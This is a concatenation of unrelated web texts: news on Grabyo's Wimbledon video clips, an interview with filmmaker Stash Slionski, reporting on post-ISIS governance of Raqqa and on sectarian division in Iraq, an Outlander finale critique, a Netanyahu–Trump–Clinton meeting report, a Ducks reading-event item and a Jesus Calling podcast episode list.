HOW IT WORKS: GRABYO AT WIMBLEDON Celebrating: Nick Kyrgios vs Rafael Nadal at Wimbledon During this year's Wimbledon tennis tournament, the All England Lawn Tennis Association installed video feeds on its three main courts, each of which was integrated with Grabyo. Grabyo created a Wimbledon-branded video gallery on Wimbledon.com and ensured that the association was set up to share real-time video across social, web, and mobiles apps. Over the course of the tournament, it shared more than 300 video clips across Facebook and Twitter, generating over 3.5 million plays. Facebook generated over 1.5 million views while Twitter generated 1.4 million; nearly 600,000 were viewed on the Grabyo-powered Wimbledon.com video gallery. The most viewed clip of the tournament featured Nick Kyrgios hitting a winner during his match against Rafa Nadal. The video generated over 447,000 clip views and 27,924 Facebook interactions. The match itself also generated an impressive 660,250 tweets, peaking at 11,393 tweets per minute.
Grabyo is one of the many London tech start-ups vying for investment and success, as part of what has become one of the fastest-growing technology scenes in the world.
The London technology cluster centres on Old Street and Shoreditch but firms have spread across the capital, boosted by government support.
Among London-based tech firms, some big names have hit the headlines this year, with Just Eat and Zoopla floating on the stock market, while Google bought artificial intelligence start-up DeepMind for a reported £400million.
Google, Facebook and Amazon have all opened offices in London to tap into the scene.
High profile: Another star investor is Robin van Persie, pictured with Grabyo founder Will Neale
Grabyo says it is in the process of building new partnerships with a number of football clubs and other 'innovative global brands'. It will use the recent investment to boost growth across Europe and North America.
Thierry Henry, the former Arsenal star, said: 'Being away from London makes it harder to keep up with what's happening in European football. Grabyo makes it easy for fans to follow the action by making the best moments available in an instant. I am looking forward to helping the company grow.'
Mr Capon said: 'Having leading stars in global sport backing us is testament to the momentum we’re now enjoying as demand for real-time video accelerates.
'Premium rights holders now recognise the value of making content available wherever their customers spend their time, which is increasingly on social platforms via a mobile device.
'Meanwhile, brands increasingly want to align with premium video content and engage consumers at scale. As a result, video, mobile and social are the most important growth sectors of the global advertising industry – and Grabyo sits across all three.'
He added that Grabyo has experienced a significant increase in reach, engagement and video views, as technology has evolved to allow clips to automatically play in the newsfeed on Facebook, or require just one click to view on Twitter."If you want to be a filmmaker and make movies, then be a filmmaker and make movies." - Stash Slionski
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Stash Slionski is a BEAST. He's shot and directed more high-profile gigs than I can fit in this paragraph, including the Olympics, Superbowl, Justin Timberlake's Futuresex/Loveshow and the recent music video No Love Like Yours from Edward Sharpe And The Magnetic Zeros, to name a few, and worked as the Director of Digital Content at RYOT.org for the last year and a half. Lately he's been using a small iPhone rig to show off its 4K shooting capabilities - and boy are we impressed. Here's a look at some of his recent work:
Over a brief and compelling interview, he gave us a tiny peek into his overflowing tank of creativity and shared his simple ideology for success and thoughts on phoneography. Enjoy.
BG: How was your childhood, creatively speaking? Did you have access to a lot of gear or anyone in particular that inspired or supported you?
Stash: My uncle (Gary Marocchi) was the first person that I can remember with a video camera - he shot weddings back when the VHS camcorder first came out. My mother (Susan) also shot a lot of video as well - they were like wild documentarians throughout our lives. At some point in my life, they put together a four DVD set of our lives that documented the entire decade of the 80's - every birthday, holiday, etc... all documented. Years later, I discovered that my grandfather, Mario Marocchi, shot on 8mm film for a good portion of my Mom's life growing up. I have that film today and it's a real treasure... I guess it's in my blood.
I've always been interested in photography - photographs have always caught my attention. I got my first camera when I was 15 and I always dreamed that I would be able to press a button and make it shoot a video - and one day it did. I had support from my parents; they supported anything creative that we ever wanted to do. I didn't come from a wealthy background or anything, so it was all from what we could do with our creativity and resources. They offered photography courses in the high school I went to as well, so I had the chance to learn the 'dark room' and explore film - I think that that year might have been one of the last waves of schools offering that style of photo [laughs]. I continued that in the community college I attended and got my first job at NBC - since then I've never looked back.
BG: How long did it take you guys to shoot your recent video No Love Like Yours for Edward Sharpe And The Magnetic Zeros?
Stash: All together we shot it in about 3 days.
BG: What was your favorite part of the shoot?
Stash: My favorite part of the shoot was working with Olivia [Wilde] and Reed [Morano]. They are both extremely professional and talented and I really admire them, so it was great to see them in action.
BG: Do you feel confident that using basic setup like the one you used in the No Love Like Yours video (Beastgrip DOF Adapter, iPhone, mCam, Edelkrone Pocket Rig, and Red Rock Micro lens support) would be good enough to approach another huge gig that you've done before like the Superbowl, Justin Timberlake, etc. with?
Stash: I think the iPhone 6S+ is a beautiful camera. It sounds strange to say that out loud [laughs], but it really is, and with the FiLMiC Pro app that lets you control your settings, it really transforms your phone into a working piece of equipment. In daylight, it's amazing. It shoots in 4K and can hold its own with any rig out there. We are still exploring ways to make the ergonomics of the camera just right. It's good right now and it's going to keep getting better. The Beastgrip DOF Adapter allows us to put any lens we want on it. I shoot a lot of handheld and it's important to be nimble. I'm working on some new setups to make the operator's life a little easier as well. So yeah, I would definitely use it on other projects and actually have a few in the works as we speak.
BG: What's your favorite gear under $100?
Stash: Bongo ties [cord wraps], for sure. I wear one around my wrist everyday... part fashion accessory, part "you never know" [laughs].
BG: How has your shooting style changed over the last 5-10 years?
Stash: It has changed quite a bit... Cameras have obviously been changing and improving at a staggering rate - I've just about given up trying to keep up [laughs]. Culturally, people go through waves of different styles that they gravitate to; it's a combo of what's "in," what gets seen, and when. Now, because content is so digestible and it's very easy to shoot and edit something from a phone in many cases, the "Instagram look" is what a lot of people seem to move towards in what they like style-wise, with simple effects that can be applied easily without any extensive color work.
With that being said, I think there is a large part of our culture that is always diving in and searching for more: more story... more life... so my style has adapted to that. I feel more versatile than ever - enough to be able to do anything with any camera - but cinematically, I'm taking it backwards and reviving some older techniques and angles. I'm always learning and striving to improve the level of quality. I think that people will seek out better quality in the end. I think we achieved that with some of the new iPhone work that will be released soon.
BG: What advice would you give to a new filmmaker?
Stash: If you want to make films and be a filmmaker, you have to make films and be a filmmaker. The #1 thing [that you need to do] is to shoot; watch your footage; and shoot; try new things; and shoot; over and over again. If you want to do it [become a filmmaker] you have to do this, examine your work, show it to people and get their feedback and pull picture references and really just do the work. You HAVE to do the work. BG
For more information on Stash's latest work, follow him on Facebook and Instagram.
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ERBIL, Iraq – The battle to push the so-called Islamic State out of Raqqa is well underway in northern Syria, and the question of who will take on the daunting task of restoring order and public services after years of militant rule is becoming urgent.
The U.S.-backed Syrian Democratic Forces (SDF), an alliance of Arab and Kurdish fighters spearheading the campaign against ISIS in Raqqa, have already installed a local governance plan for the embattled city in northern Syria. However, it remains unclear who would fund a Raqqa administration, or who would provide basic services and salaries.
While its military commitment to the anti-ISIS campaign is unquestionable, President Donald Trump’s administration has not expressed any intent to support local forces in Raqqa after the militant group is expelled. Some analysts said that lack of planning and designated resources will push Raqqa back into the lap of the Syrian government.
“Whoever ends up in charge of Raqqa after liberation may well be forced to rely on Damascus to run basic services and governance – regardless of Washington’s strategy,” defense analyst Tobias Schneider told Syria Deeply.
‘There Is No Place for the Syrian Regime Here’
A remote oil-rich city with a pre-war population of more than 220,000 people, Raqqa has been the seat of ISIS’ self-styled caliphate since 2014. Located on the north bank of the Euphrates River, it served as an important militant hub for trade, smuggling and the movement of foreign fighters.
The SDF announced the formation of a civilian council to administer the region in April and has since elected two co-chairs, one Kurdish and one Arab, and established 14 committees. The formation of a military council is expected to follow, in line with the same governing arrangements set in place in Manbij city, which the SDF captured from ISIS last year.
The Manbij precedent, however, raises some concerns. Roughly seven months after liberating Manbij from ISIS rule, the Kurdish-led force handed over some surrounding villages to the Syrian and Russian armies, to deter attacks by Turkish troops and allied rebels. This raises the question of whether the SDF will do the same after ISIS is driven out of Raqqa.
However, Nasr Haji Mansour, an adviser to the SDF, rejected the possibility of collusion with the Syrian government. “The Raqqa council is now being rebuilt to represent all groups in Raqqa, and there is no place for the Syrian government in the city,” he told Syria Deeply.
“Raqqa will be handed over to a civil council that represents all the social components [ethnic and religious groups] of the city and [those] whose hands have not been stained with the blood of these people,” he added.
Layla Mohammed, the female co-chair of the Raqqa civilian council, also overruled the possibility of ceding control to loyalists of President Bashar al-Assad.
“Our council has been formed from the people of Raqqa with all its ethnicities, and they believe in the democratization of the society and elimination of all forms of exclusion and marginalization, and building a democratic pluralistic decentralized system,” she told Syria Deeply.
“It has no relation with the regime, and refuses the presence of the Syrian regime,” she added.
The Harsh Reality of Local Governance
While local officials may reject the possibility of working with Assad, the highly centralized nature of the Syrian state will make it difficult for the local council to administer services and pay salaries without at least starting a dialogue with the government, according to Ghadi Sary, the author of a Chatham House report on Kurdish self-governance in Syria, who added that talks between Assad and the SDF are already “overdue.”
In fact, the Syrian state continued to administer certain services to the city even after it was captured by ISIS militants. For example, the country’s two main mobile phone operators still worked in Raqqa, and, as of 2015, the companies would reportedly send engineers to ISIS-controlled areas to repair damages at the towers, according to Time.
On the other hand, Nicholas Heras, the Bacevich fellow at the Center for a New American Security, said that the Raqqa civilian council can administer the city without the Syrian government by using the U.S.-led coalition’s logistical support of the SDF to “provide security, services and an administrative structure that can establish the conditions for a federal Raqqa region, like the northern federal region in core SDF areas in northeastern Syria.”
This possibility is not far-fetched. Washington over the past year has displayed unwavering commitment to the SDF by providing military training, aerial cover and a steady supply of weapons in support of the campaign to push ISIS out Raqqa. The U.S. also supports the idea of a local council and has already begun training hundreds of recruits for a Raqqa police force.
However, Washington has made it clear that it would not be carrying out the nation-building missions that have accompanied its counterterrorism operations in the past.
“In terms of administrative services, teachers, hospitals, who pays those salaries, that is something where Syrians are going to have to work that out. We are not in the business of, as I said, nation-building operations,” Brett McGurk, special presidential envoy for the U.S.-led coalition battling ISIS, said in a press briefing last month.
‘Difficult Choices’ Ahead
However, Schneider said, Washington’s aversion to these open-ended commitments will put forth “some difficult choices” for the U.S. administration: pulling back from the SDF, risking “the creeping return of the Assad regime’s government” or supporting the new governance structure in order to “stand their ground … and defend a U.S. zone of influence against regime or Iranian interference.”
This decision became more urgent in the last 10 days as tensions escalated between U.S.-backed forces and Syrian forces, who have been pushing against ISIS on Raqqa province’s western flanks, and who last week reached within roughly 34 miles (55km) of the city. On Sunday, the U.S. shot down a Syrian jet for the first time since the Syrian conflict broke out. U.S. Central Command said the jet “dropped bombs near SDF fighters south of Tabqa,” adding that pro-government forces also “attacked” the SDF-held town of Ja’din, south of Tabqa.
While the U.S. is not working toward re-establishing Assad’s writ over the entirety of Syria, a U.S. official who spoke to Syria Deeply on the condition of anonymity suggested that it would be in Raqqa’s interest if Damascus is allowed some kind of role in the city.
“I don’t think anyone can rationally argue that it is not in the interest of a future Syria to have the Syrian state institutions and tissue reconnected across the country,” he said, explaining that the Ministry of Finance could take care of state salaries, and essential services like water, electricity and telecommunications could be restored.
“Ideally those local service providers that have emerged in the absence of the Syrian state can be connected back to the state so that Syrians capitalize on existing resources and expertise,” the official said, adding that “Syria’s future is for the Syrian people to decide, and it should be done so via Geneva. … But we are not going to force a top-down regime change.”Well, it's done. The first season of Outlander is over and I have something to get off my chest. I'm not one of those bloggers that recaps episodes every week, but I do like to write the occasional analysis, and call out the things that I think were great. I'm not here to gush about Sam Heughan (although that's easy to do) or my total girl crush on Caitriona Balfe, or how Tobias Menzies will be giving me nightmares for the foreseeable future disturbingly delicious nightmares.
Nope. I'm a writer, so I tend to keep my analysis to the creative choices that relate directly to storytelling; how well it's done and where I think it might have gone wrong. Up to now my posts about Outlander have been mainly positive. There has been some absolutely great television here. Although I have read all of the books multiple times, I am definitely NOT a book purist. I understand what adaptation means and I don't expect the show to follow the books slavishly or even directly.
As a matter of fact my favorite episode of the season, The Garrison Commander, was a big departure from the book. While the action of The Garrison Commander may have been different from the action in the book, the main theme was completely in keeping with the character and tone of the book. It was fantastic way to convey just how twisted Jack Randall is. I felt similarly about The Wedding. Sure there were some specific things from the book that weren't there, but at it's heart it had the necessary components and it was incredibly well made.
When you're putting together a story, you have to make choices about the focus and pace of a story. What is the story about at it's heart, and how do you convey that? When you're trying to fit an enormous book like Outlander into sixteen hours of television, you have to prioritize. What do you HAVE TO keep? What things can drop without changing the story? Of the things that fall in between what is imperative and what it incidental, which ones are more important? On the few occasions that this season of Outlander has fallen short of my expectations, it has been in that in between zone where some things have been given priority over others, and I think the heart of the story has suffered for it. Unfortunately, the finale was one of those times.
Diana Gabaldon has said on many occasions that this series of books is 'the story of a marriage'. It's one of the things I love about them. We follow this pair through some extreme trials and watch their bond be tested and strengthened over and over again. And yet in two particular episodes this season we have seen some aspects of the story stretched and other I think more important aspects shortened. In the finale we saw the extension of the Wentworth scenes and the extreme shortening of recovery. If you're going to call an episode, "To Ransom a Man's Soul" I expect the actual ransoming to involve more than a bit of lavender oil, a good smack and a wee chat. This scene and the aftermath of it was so fast that it frankly defied believe-ability even though Sam Heughan did his best portraying it.
Don't get me wrong. I would not have shortened the Wentworth scenes. I think those scenes were handled incredibly well and with a lot of sensitivity to the subject. Everyone involved deserves to be commended for that. However, I would have preferred to have skipped some of the inflated story-line in The Search in favor of rearranging some time to have given a better "ransom" scene. I won't compare this to the one in the book, but to the rest of the episode. We spent roughly half of this episode watching Jamie being raped and abused, broken as he says. Yet somehow he manages to snap out of his suicidal funk after one relatively brief conversation with Claire? I don't think so. I realize that this conversation wasn't meant to make it ALL better, but his attitude does completely change, and frankly I don't think that scene contained enough confrontation or drama to prompt that kind of turn around.
My feelings about this episode reminded me of how I also felt after watching "The Devil's Mark". In that episode there was so much time given to the drama of the trial, that there wasn't enough time to really convey the monumental choice that Claire makes to stay in 1743 with Jamie. It feels like the writers were giving priority to the immediate payoff of the sensational trial and rape scenes rather than the overall story. Look over here at this shiny instantly dramatic thing versus sticking to the heart of the story. Or maybe they were just so enamored of Tobias Menzies and Lotte Verbeek that they wanted to give them material to showcase their talents. They're both terrific and should be recognized, but not at the expense of the story.
Then there is "The Search" where a few pages of the book gets stretched into an hour of redundant and unnecessary television that could have been covered in about 15-20 minutes without taking away from the drama of Jamie being missing. That would have freed up some time to give the proper treatment to the ransom scene. The actors are more than capable of telling that part of the story in a much more effective way. I actually feel like Sam Heughan and Caitriona Balfe were let down by the script in this scene. It SHOULD have been so much more.
Make no mistake. I love the show, and I will definitely continue to watch. But I sincerely hope that as the writers are breaking down the even longer Dragonfly in Amber into thirteen episodes (three fewer than this season) that they are more careful with how they prioritize the time they spend on more important aspects of the story.Story highlights Israeli Prime Minister Benjamin Netanyahu met Donald Trump and Hillary Clinton on Sunday
The meetings were arranged over the past few days
(CNN) Israeli Prime Minister Benjamin Netanyahu met Hillary Clinton Sunday night at a New York hotel, after conferring earlier in the day with Donald Trump for nearly 90 minutes at Trump Tower.
Clinton, the Democratic nominee, talked with Netanyahu during a closed-door meeting at the W Hotel in Union Square. It was hardly their first discussion -- the pair often held talks during Hillary Clinton's tenure as secretary of state.
Clinton and Netanyahu discussed the recently-signed U.S.-Israel defense Memorandum of Understanding to "strengthen the defense and intelligence relationship and work closely with Israel to ensure Israel's Qualitative Military Edge," according to a senior Clinton campaign aide. Clinton also stressed her commitment to countering attempts to delegitimize Israel, including through the BDS movement. That's an issue with potential to resonate with pro-Israel voters six weeks out from Election Day.
They also discussed the Iran nuclear deal -- which Netanyahu has argued against vociferously -- and other regional changes, including the ongoing civil war in Syria. Also on the table: the stalled Israeli-Palestinian peace process. "The secretary reaffirmed her commitment to work toward a two-state solution of the Israeli-Palestinian conflict negotiated directly by the parties that guarantees Israel's future as a secure and democratic Jewish state with recognized borders and provides the Palestinians with independence, sovereignty, and dignity," the aide said. Secretary Clinton reaffirmed her opposition to any attempt by outside parties to impose a solution, including by the UN Security Council."
Her meeting with the prime minister was somewhat shorter than his talk Sunday morning with Trump. Jared Kushner, Trump's son-in-law and a close adviser to his presidential campaign, and Ron Dermer, Israel's ambassador to the United States, were also on hand for the meeting, which comes the day before the first presidential debate, according to Israeli news outlet Haaretz
Read MorePeople in the market didn’t want to talk about the imam, who was a Sunni. They shrugged when I asked what had happened. I asked if he had debts, if he had hurt anyone. They shook their heads; even the Shiites among them were afraid of the gunmen. I found the imam’s house, a humble building with just one room to a floor on one of two streets where Sunnis lived. His son told me his father’s story. Blind for many years, his father preached at a small mosque just a few blocks away, rising every morning before dawn, using his blind man’s stick to help him arrive in time to offer the prayer. Soon after the fall of Saddam Hussein, the imam began to hear threats; when he had finished cleaning the mosque and emerged alone into the street, people would whisper that his time was up. Sunnis were no longer welcome there.
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The day he was shot, it was early, but hardly a time when the streets are empty. Yet no one in the neighborhood admitted to having seen anything. “They want us to leave,” said a cousin of the imam. “Who?” I asked. He shrugged and said nothing. Was it Shiite neighbors or outsiders? No one would say. The family asked me to leave. Having a foreigner there drew attention. The imam’s wife was packing a battered suitcase; they would go stay with relatives.
After that, I didn’t trust the flowery words of brotherhood between Sunni and Shiite. I didn’t trust the claims that sect didn’t matter.
Now the language of brotherhood is welling up again. Iraqis, for the most part, are tired, at least of sectarian warfare, and as candidates organize themselves to run for the Parliament in the 2010 elections they have latched on to a narrative of nationalism. They are creating cross-sect parties. Perhaps it is true that the worst of the bloodletting has run its course, but my fear is that the wars of division are not over.
Even before the horrific bombings last week at government buildings in the heart of Baghdad, several trips I took in the last six months writ large for me the uncertainty on the road ahead — the difficulty of integrating people who distrust each other. The first was a drive from Sulaimaniya, in Iraqi Kurdistan, to Baghdad. The journey traverses the arching mountain peaks of northern Iraq near the Iranian border, the high plains that lie just to the south and the low scrub desert near Baghdad.
The invisible line that separates Iraqi Kurdistan from Iraq’s lower provinces should be little different than crossing from, say, Michigan into Indiana; instead, it is reminiscent of the border between Mexico and the United States. Kurdish guards known as pesh merga look into your vehicle, you must show identification and go into a small border office to show an official letter and answer a few questions. It can take an hour or more.
On one side of the border, bright lights flash on the streets of Erbil and Sulaimaniya, the region’s largest cities. There are luxury hotels with Internet in the rooms; many women wear Western clothes and do not cover their hair; music and alcohol are offered at some government-sponsored functions. Most Westerners feel at home.
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South of the border is another country — metaphorically, at least. Almost every day brings news of another killing. Some are by Sunni extremists trying to sow hatreds among the different sects and faiths in the area; some are more mundane crimes; and some are revenge killings between Turkmen and Kurd; Arab and Turkmen; Muslim and Christian.
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The checkpoints south of the Kurdistan border make a stab at integrating the different groups who exist uneasily, but the troops from the army, the local police and the national police speak different languages, wear different uniforms and appear bound in their own cocoons of language and custom. They watch one another warily: Turkic speakers from the Turkoman minority, Kurdish pesh merga and the mostly Arab local police. The national police, who are predominantly Shiites, seem to be at sea. Many are from the south and are even less at ease here than the other security forces. Are these polyglot checkpoints a sign that the country is coming together or falling apart?
I want to believe the former, but it might go either way: while the sectarian killing may have run its course, the ethnic hatreds and distrust may not have played themselves out yet.
South of Baghdad is a different story. The road goes through towns on the edge of Baghdad: Mahmudiya, Latifiya and Yusufiya, once known as the Triangle of Death. There, some of the most brutal Sunni extremists made their stand. These were monsters who threw up fake checkpoints to catch Shiites, judging them culpable because of a tape in the car or the name on an identification card. They tortured them, beheaded and mutilated their bodies. They ambushed Westerners, kidnapping and sometimes killing them. I used to be afraid, when I traveled that road, that I would be recognized as valued prey. I rode in the back seat, my breathing shallow, resolutely looking into the car instead of out the window, so that it would be hard for passersby to get a clear view of my face.
Now the road is safe. Army checkpoints — legal ones — are the only ones that stop you, but huge posters of Imam Ali punctuate the streets, a signal that this is now Shiite-land. Imam Ali is revered as a founder of the Shiite branch of Islam, but a poster of him is also a silent rebuke to Sunnis, a way of marking territory, of reminding them that the Shiites run things now. It is a sign of victory as much as peace.
And victory in Iraq almost always begets revenge.
In my five years in Iraq, all that I wanted to believe in was gunned down. Sunnis and Shiites each committed horrific crimes, and the Kurds, whose modern-looking cities and Western ways seemed at first so familiar, turned out to be capable of their own brutality. The Americans, too, did their share of violence, and among the worst they did was wishful thinking, the misreading of the winds and allowing what Yeats called “the blood-dimmed tide” to swell. Could they have stopped it? Probably not. Could it have been stemmed so that it did less damage, saved some of the fathers and brothers, mothers and sons? Yes, almost certainly, yes.
So the lesson I take away is never to underestimate hatred or history or the complexity of alien places. I came to love Iraq’s scrub desert, its date palm groves and marshlands, but most of all its courageous people who despite great personal losses did not lose faith in their country’s possibilities: the imams who prayed despite threats; my Shiite friend Salama Khafaji, who lost her eldest son in a Sunni ambush in the Triangle of Death yet continues to work for integration. Terrible things happened in Iraq over the last six years, and I go to Afghanistan feeling that we owe it to everyone who has died in Iraq — Iraqi and American — not to forget, not to gloss over, not to think in terms of success and failure, or victory and defeat, but to see as best we can, through a glass darkly.By Adam Brady
For Francois Beauchemin and Nick Bonino, playing hockey in front of 17,000 screaming fans is old hat compared to the task they took on Tuesday afternoon.
The two Ducks veterans read to more than 250 kids in grades four through six as part of the seventh annual Ducks S.C.O.R.E. Reading is the Goal Day, held at Arovista Elementary in Brea, just a few miles from Honda Center.
Beauchemin and Bonino took turns reading from a book called Brady Brady and the Twirlin’ Torpedo, part of a series of popular hockey-themed children’s books written by author Mary Shaw.
“I think the kids really enjoy it, and so do we,” said Beauchemin, who told the kids he |
transformed their lives and how they “started over.” Emily Ley is a mom, business owner and author. Emily found the demands of her job and her own tendency to... Free View in iTunes
70 Clean The Green Family: Living and Giving Generously David Green is the founder and CEO of the country’s largest chain of arts and crafts stores, Hobby Lobby. David’s philosophy in life revolves around his faith and his family. His view of “wealth,” is not tied to how much money a person makes, bu Free View in iTunes
71 Clean Video [JESUS CALLING VIDEO STORY] Collin Raye – Trusting God In Every Circumstance [VIDEO STORY] Collin Raye is a country hit maker with over 24 top ten records to his credit. Always thankful to God for the blessings in his life, Collin shares how he how accepted both the triumphs and the heartaches, including the devastating... Free View in iTunes
72 Clean Diamond Rio’s Marty Roe & Jimmy Olander: “The Star Still Shines” at Christmas Six-time Vocal Group of the Year Diamond Rio has been one of the most successful bands in country music history. They won a Grammy for their first Christian Record “The Reason,” and have also produced a Christmas album called “The Star Still Shine Free View in iTunes
73 Clean Reba McEntire: When Christmas is Hard, You Can Still Find Joy Reba McEntire is a country music legend who has had over 35 #1 singles and over 56 million albums sold worldwide. Reba has become a beloved household name who has made her mark in film, television, theater and retail. Her last project, a Gospel double C Free View in iTunes
74 Clean Pastor O.S. Hawkins: Finding The Code to a Better Life [w/ Rick Smith] O.S. Hawkins is the President and Chief Executive Officer of GuideStone Financial Resources of the Southern Baptist Convention. Hawkins also served as senior pastor of the historic First Baptist Church in Dallas, Texas, and is the author of more than 25 Free View in iTunes
75 Clean First Lady of Tennessee Crissy Haslam: Grateful for Second Chances [w/ Brenda Wilson] As the First Lady of Tennessee, Crissy Haslam believes in the power of second chances. Her priorities have been focused on working with change making organizations who are empowering families, women, and orphans. Crissy shares why it’s important to he Free View in iTunes
76 Clean Through Life’s Disappointments, Hang on to Hope: Aaron Watson & WAY-FM’s Carlos & Joy. Aaron Watson is a rising country music star who began chasing his dream of becoming a singer/songwriter over 18 years. Though faced with countless disappointments, family tragedy and rejection, Aaron trusted God for the path that he would take and is ce Free View in iTunes
77 Clean Rising from the Ashes of Abuse: Christine Caine & Jennifer Clinger Christine Caine is a writer, speaker and activist. Her story of healing came over many years as she lived in faith to recover from sexual abuse that happened in her childhood. Her latest book, a 365-Day devotional, called “Unshakeable,” provides dai Free View in iTunes
78 Clean When Life Steals Your Joy, Love Heals: Becca Stevens & Dorris Walker Becca Stevens is the founder and president of Thistle Farms, a beautiful justice enterprise for women who are survivors of trafficking, addiction and prostitution. After experiencing abuse and trauma in her own childhood, Becca longed to open a san Free View in iTunes
79 Clean Courage for Change, Mercy for Your Past: Annie F. Downs and Jamie Blaine Our guests today are writer and speaker Annie F. Downs and crisis counselor and writer Jamie Blaine. Both guests have experienced challenges in their lives that left them feeling scared and alone, but through the power of God’s word, they found streng Free View in iTunes
80 Clean Finding Joy In The Ordinary : Gloria Gaither & Dr. Emerson Eggerichs Gloria Gaither is a lyricist, educator and speaker, who with her husband Bill, has written some of the most enduring and beloved songs of our time including “Because He Lives,” and “He Touched Me.” Gloria shares some of her early years and how s Free View in iTunes
81 Clean Video [JESUS CALLING VIDEO STORY] Kathie Lee Gifford: Desperately Seeking the Truth [JESUS CALLING VIDEO STORY] Kathie Lee Gifford is an Emmy Award winning host of the Today Show. She is a singer, songwriter and author who brings her vivacious spirit to everything she does. Behind the public personality is a “truth-seeker,” who... Free View in iTunes
82 Clean God Cares About Your Story: John Eldredge & Bradley Walker Wild at Heart author John Eldredge is a counselor and teacher who is devoted to helping people through their recovery process. He shares how he himself “cried out to God,” as a young man, looking for hope wherever he could find it. This lifelong se Free View in iTunes
83 Clean Dolly Parton Believes with God, All Things Are Possible Country superstar Dolly Parton was raised to believe that “Jesus loves her, and that with God, nothing is impossible.” Dolly never forgot her humble beginnings, even as she went on to achieve great success in her career and has received the highest Free View in iTunes
84 Clean Raising Brave Kids: Lisa Bevere, Sami Cone and Rachel Wojo Welcome to the Jesus Calling Podcast. Today, we speak with Lisa Bevere who is a New York Times bestselling author, a teacher, as well as a wife, mother and grandmother. She and her husband John co-founded the ministry organization Messenger Internationa Free View in iTunes
85 Clean Roma Downey & Andrea Logan White: Bringing Light to the World Roma Downey is best known for her role as an angel named Monica on the beloved television series “Touched By An Angel.” She has earned multiple Emmy® and Golden Globe nominations as an actress and producer, and is now at the helm of new venture cal Free View in iTunes
86 Clean Finding Peace In Uncertainty: Chrystal Evans Hurst and Edie Sundby Chrystal Evans Hurst is a writer, speaker and worship leader and the daughter of respected pastor and teacher Dr. Tony Evans. Chrystal’s upbringing was rich in love and God’s teachings, but even with that foundation, she still experienced uncertaint Free View in iTunes
87 Clean Max Lucado: Overcoming Anxiousness with Gratitude Pastor Max Lucado discusses how we can face anxiousness in an increasingly tense world by focusing on gratitude. Max has written two books on this topic—one for adults called “Anxious for Nothing,” and another one for children called “I’m Not Free View in iTunes
88 Clean John Cooper of Skillet: A Friend Through Any Struggle John Cooper, is the lead singer of the band Skillet, one of the 21st century’s most successful rock bands, having received two Grammy nominations and 11 million records sold. John talks about some of the joys and struggles of his early years, and how Free View in iTunes
89 Clean Kathie Lee Gifford: Desperately Seeking the Truth Kathie Lee Gifford is an Emmy Award winning host of the Today Show. She is a singer, songwriter and author who brings her vivacious spirit to everything she does. Behind the public personality is a “truth-seeker,” who relentlessly pursues the deeper Free View in iTunes
90 Clean GregAlan Williams and Mark Batterson: Becoming A Man After God’s Own Heart GregAlan Williams is an author and actor who stars in the Pure Flix motion picture “All Saints,” based on the true story of salesman turned pastor Michael Spurlock. GregAlan shares the ups and downs of his career as a performer and how a pivotal mom Free View in iTunes
91 Clean Ginny Owens & Shauna Shanks: Let Love Be the Loudest Ginny Owens is a Dove Award singer/songwriter whose latest record, “Love Be the Loudest,” chronicles her battle with her own doubts and fears, and how she learned to let God’s voice be the loudest in her life. Shauna Shanks is a wife, mother and t Free View in iTunes
92 Clean Slow Down: Wrangling Delight Out of This Glorious Life Nichole Nordeman is a singer-songwriter whose song “Slow Down,” and the accompanying video, touched millions of viewers everywhere with its theme of cherishing every moment we have in raising children. Free View in iTunes
93 Clean Nothing Compares to the Love of Christ: Jennie Allen & Kristen Hatton Jennie Allen is a Bible teacher and the author of Nothing to Prove: Why We Can Stop Trying So Hard.” Jennie shares how her need for approval from others led to emptiness, and how she found fulfillment in the affirming words of Christ. Kristen Hatton Free View in iTunes
94 Clean When All Seems Lost, God Is Still There Today’s episode features two guests who know what it’s like to lose everything. They share with us how their hope was restored through God’s promise that He will never leave us or forsake us. Our first guest is Brett Swayn who shares how his journ Free View in iTunes
95 Clean Living Honestly and Fearlessly In Christ: Kelly Balarie and Esther Fleece Today we visit with two guests who give us their unique perspectives on living honestly and fearlessly as women of God. Kelly Balarie, author of Fear Fighting: Awakening Courage to Overcome Your Fear, learned how to fight fear by stopping the cycle of f Free View in iTunes
96 Clean Lee Greenwood and Charlie Daniels Live for God and Country Lee Greenwood and Charlie Daniels are legendary country entertainers and strong men of faith. With a deep love for our country and admiration for the service of our military personnel, they both endeavor to speak about their faith openly and are each de Free View in iTunes
97 Clean “Love Your Neighbor As Yourself”: God’s Community In Action Kristin Schell, (author of the Turquoise Table) and Rick Rusaw and Brain Mavis (authors of The Neighboring Church) give us insight into what it really means to live out Jesus’ great commandment to “Love your neighbor as yourself,” with practical a Free View in iTunes
98 Clean CeCe Winans Says “Yes” To God CeCe Winans is the best-selling female gospel artist of all time, as of 2015. She has sold over 12 million records worldwide and won ten Grammy Awards.. CeCe talks about taking a break from music to start a church with her husband, and how her life has Free View in iTunes
99 Clean Dr. Meg Meeker: Seeking the Love of A Father Dr. Meg Meeker the author of Hero: Being the Strong Father Your Children Need. Dr. Meeker is a pediatrician, a mother and has become a leading authority on parenting, teens and children’s health, having appeared on the Today Show, Dateline, and more. Free View in iTunes
100 Clean Shane Owens Believes in God and His Timing Shane Owen is an up and coming artist who has had a love for traditional country music that began years ago, due to the influence of his grandmother. He talks about those early years, and how the belief his grandparents had in him kept him going when h Free View in iTunes
101 Clean Jessi Colter – Choosing Joy for Each Day Jessi Colter is a singer, songwriter, and entertainer whose influence continues to echo across musical genres. In 1969, she married Waylon Jennings and their partnership yielded wonderful music along with personal triumphs and heartaches. She writes ab Free View in iTunes
102 Clean Collin Raye – Trusting God In Every Circumstance Collin Raye is a country hit maker with over 24 top ten records to his credit. Always thankful to God for the blessings in his life, Collin shares how he how accepted both the triumphs and the heartaches, including the devastating loss of his 10- year-o Free View in iTunes
103 Clean T. Graham Brown – A Life Forever Changed T. Graham Brown is a legendary country music artist who has recorded over thirteen studio albums and charted more than twenty singles on the Billboard charts. He talks candidly about his life and his struggles with addiction, and the song that became a Free View in iTunes
104 Clean Christian Comedian Chonda Pierce: Laughing in the Dark Chonda Pierce is an author, actress and the RIAA’s most-awarded female comic in history. With 10 successful albums to date, she has also authored eight books, including Laughing In The Dark, which inspired a documentary by the same name. While Chonda Free View in iTunes
105 Clean Cheryl Karpen: A Broken Heart and A Mother’s Love Cheryl Karpen is best known as the author of the “Eat Your Peas” Collection, a series of books dedicated to helping others communicate love, hope, and encouragement when they can’t find the words themselves. “Eat Your Peas for Mothers is a speci Free View in iTunes
